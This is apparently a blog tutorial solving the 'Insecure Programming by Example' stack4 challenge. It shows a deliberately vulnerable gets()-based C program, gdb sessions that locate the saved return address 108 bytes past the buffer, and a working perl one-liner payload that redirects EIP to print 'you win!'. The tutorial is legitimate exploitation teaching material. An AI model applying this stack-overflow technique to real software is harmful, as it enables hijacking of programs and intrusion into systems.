Insecure Programming by Example: controlling EIP, stack4.c

Note: I couldn’t get this exploit to work on Debian 5, I think there must be some overflow protection or something I was working against on top of the ASLR I had already disabled. So I moved to the Hacking; the Art of Exploitation LiveCD, but any much older Linux should work for you (think Red Hat 7).

Ok, so everyone, before reading this one, repeat after me:

The goal is to control execution. The goal is to win. It doesn’t matter how you control things, or how you win, just win. Control is everything.

That may sound a little melodramatic, but I remember having a really hard time with stack4.c, not because the concepts were hard to grasp, but because I kept trying to control execution of the program the way I had in the previous three challenges, instead of just winning any way I could. That to me is the fundamental thing this challenge is attempting to teach the student. This particular challenge is not really about controlling EIP (though you will learn how to do that), rather, it’s about changing the way you think about computer programs in general. The point being that they do not always do what we think we told them to do, they do exactly what we told them to do ;-).

If you want to read a quick’n’dirty description of the right mindset for this sort of thing, along with some ideas on how to proceed if you want to be good at being bad, I highly recommend @kmx2600‘s article on the VRT blog, “How do I become a ninja?”. Indeed, those are the steps that I’m now following to better myself in this arena, and I’m the one that asked his team the question in the first place, so it’s only appropriate I should share my progress so others might get bitten by the bug as well.

On to the bug!

/* stack4-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x000d0a00)
		printf("you win!\n");
}

So…this may be tricky. Can anyone see why? See, they want us to make the cookie value equal to 0x000d0a00…can anyone spot the problem with this, alluded to in a previous post? That’s right, we can’t set the cookie variable to the appropriate value via the gets() function, because gets() terminates on a newline character, otherwise known as 0x0A. So we are going to need to find a way to win without setting the value of the cookie variable directly.

How else could we win? Think back to the beginning of this post, the object of the game is to take control of execution Any way we’d like to. We want the program to print out “you win!”. If we look at this program in a debugger, from the assembly language perspective, a way to do this might become clear.

hacking@hacking-theart:~/InsecureProgramming $ gdb -q ./stack4
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080483b4 <main+0>:    push   ebp
0x080483b5 <main+1>:    mov    ebp,esp
0x080483b7 <main+3>:    sub    esp,0x78
0x080483ba <main+6>:    and    esp,0xfffffff0
0x080483bd <main+9>:    mov    eax,0x0
0x080483c2 <main+14>:   sub    esp,eax
0x080483c4 <main+16>:   lea    eax,[ebp-12]
0x080483c7 <main+19>:   mov    DWORD PTR [esp+8],eax
0x080483cb <main+23>:   lea    eax,[ebp-104]
0x080483ce <main+26>:   mov    DWORD PTR [esp+4],eax
0x080483d2 <main+30>:   mov    DWORD PTR [esp],0x80484d4
0x080483d9 <main+37>:   call   0x80482d4 <printf@plt>
0x080483de <main+42>:   lea    eax,[ebp-104]
0x080483e1 <main+45>:   mov    DWORD PTR [esp],eax
0x080483e4 <main+48>:   call   0x80482b4 <gets@plt>
0x080483e9 <main+53>:   cmp    DWORD PTR [ebp-12],0xd0a00
0x080483f0 <main+60>:   jne    0x80483fe <main+74>
0x080483f2 <main+62>:   mov    DWORD PTR [esp],0x80484ec
0x080483f9 <main+69>:   call   0x80482d4 <printf@plt>
0x080483fe <main+74>:   leave
0x080483ff <main+75>:   ret
End of assembler dump.

This is where some very basic knowledge of x86 assembly language will pay off (and I mean very basic, as I am certainly no expert). The highlighted section above is essentially equal to the C functions:

gets(buf);

if (cookie == 0x000d0a00)
	printf("you win!\n");

I’ll leave it to the reader to read some intros on x86 assembly programming, or better yet, to read the excellent “Programming from the Ground Up” by Jonathan Bartlett, but it should be plain from the listing above what is occurring. Here is a summary with the details glossed over a bit.

First, we call the gets() function to get our input with call 0x804830c, then we move an 8-byte (DWORD) pointer located 8 bytes into the stack (ebp-0x8) into the eax register, and then we compare that value (stored at the de-referenced pointer, read a book on C if you don’t get the pointer stuff, it’s important) with the hex value 0xd0a00. Keeping the result of that comparison in mind (using the EFLAGS register, another important thing to understand), we then implement the if statement using the jne function, which stands for “jump if not equal”. If the comparison earlier was not equal, it jumps execution past the puts() function call (similar to printf) at 0x080483f2 which would print out our “you win!” statement. That’s how the if/then construct in C ends up looking in assembly.

The important thing to take away here, is that if we want to print out “you win!”, we simply need to get the instructions at 0x080483f2 to be executed. The easiest way to do that is to get EIP to point there. The easiest way to do that is to overflow the value for EIP that is stored during the execution of the main() call. Essentially, anytime any function is called such as gets(), printf(), or even main() which is what we are counting on here, the return address, which is the address to move execution to following the successful processing of the function call is populated onto the stack, along with any other variables local to the parent function or any other function that we’re calling. That means that if the program flow allows us to get to the point where it’s exiting execution of the function, and we can write to the stack an arbitrary amount of data with a bad function such as gets(), we can pretty much do whatever we want!

The game plan is to figure out where the return address is stored for/during the execution of the main() call, determine it’s distance from the buf variable, and figure out if we can overwrite it with the value 0x080483f2…if we can do this, we win. Let’s explore the state of the program at the time gets() is called using our debugger, specifically we want to see the state of the stack, the best way to do this is to examine stack frames with the backtrace command. I’ve highlighted the commands we’re going to use below, as a few of them are new ones you’ll want to have in your back pocket in the future.

hacking@hacking-theart:~/InsecureProgramming $ gdb -q ./stack4
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) break gets
Function "gets" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (gets) pending.
(gdb) run
Starting program: /home/hacking/InsecureProgramming/stack4
Breakpoint 2 at 0xb7ef21c6
Pending breakpoint "gets" resolved
buf: bffff770 cookie: bffff7cc

Breakpoint 2, 0xb7ef21c6 in gets () from /lib/tls/i686/cmov/libc.so.6
(gdb) backtrace
#0  0xb7ef21c6 in gets () from /lib/tls/i686/cmov/libc.so.6
#1  0x080483e9 in main () at stack4.c:11
(gdb) info frame 0
Stack frame at 0xbffff760:
 eip = 0xb7ef21c6 in gets; saved eip 0x80483e9
 called by frame at 0xbffff7e0
 Arglist at 0xbffff758, args:
 Locals at 0xbffff758, Previous frame's sp is 0xbffff760
 Saved registers:
  ebp at 0xbffff758, eip at 0xbffff75c
(gdb) info frame 1
Stack frame at 0xbffff7e0:
 eip = 0x80483e9 in main (stack4.c:11); saved eip 0xb7eafebc
 caller of frame at 0xbffff760
 source language c.
 Arglist at 0xbffff7d8, args:
 Locals at 0xbffff7d8, Previous frame's sp is 0xbffff7e0
 Saved registers:
  ebp at 0xbffff7d8, eip at 0xbffff7dc
(gdb) print 0xbffff7dc - 0xbffff770
$1 = 108
(gdb) next
Single stepping until exit from function gets,
which has no line number information.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
main () at stack4.c:13
13              if (cookie == 0x000d0a00)
(gdb) x 0xbffff7dc
0xbffff7dc:     0x42424242

What we’re seeing here is that the stored EIP for the main() stack frame is 108 bytes from the buf variable’s start position. In essence, each memory address refers to a single byte of storage, so by calculating the difference between two addresses we know exactly how many bytes we must send to overflow the stored EIP in the stack. Since a single ASCII-encoded character is exactly one byte long, I went ahead and sent 108 “A” characters with 4 “B” characters tacked onto the end to overflow the stored EIP, and examining that memory address directly it worked.

So, let’s try our exploit know, knowing that 108 bytes is our offset for the variables. The code will fully execute, it will just jump back up the execution path on attempting to exit the first time and print out the “you win!” message, and then it will exit gracefully as if nothing had happened. Or at least, that’s the idea.

hacking@hacking-theart:~ $ perl -e 'print "A" x 108 . "\xf2\x83\x04\x08\n";' | ~/InsecureProgramming/stack4
buf: bffff790 cookie: bffff7ec
you win!
Segmentation fault

Ok, so, that worked! We still need to figure out why it segfaulted, and also why I couldn’t do this on the Debian 5 machine, but I’ll leave those subjects for future articles. Thanks for reading, hope you learned something.

3 thoughts on “Insecure Programming by Example: controlling EIP, stack4.c”

    1. That’s really interesting. I wonder if my gcc wasn’t doing this, because it’s such an old version on an old distro. Either way, thank you for sharing the information!

Leave a comment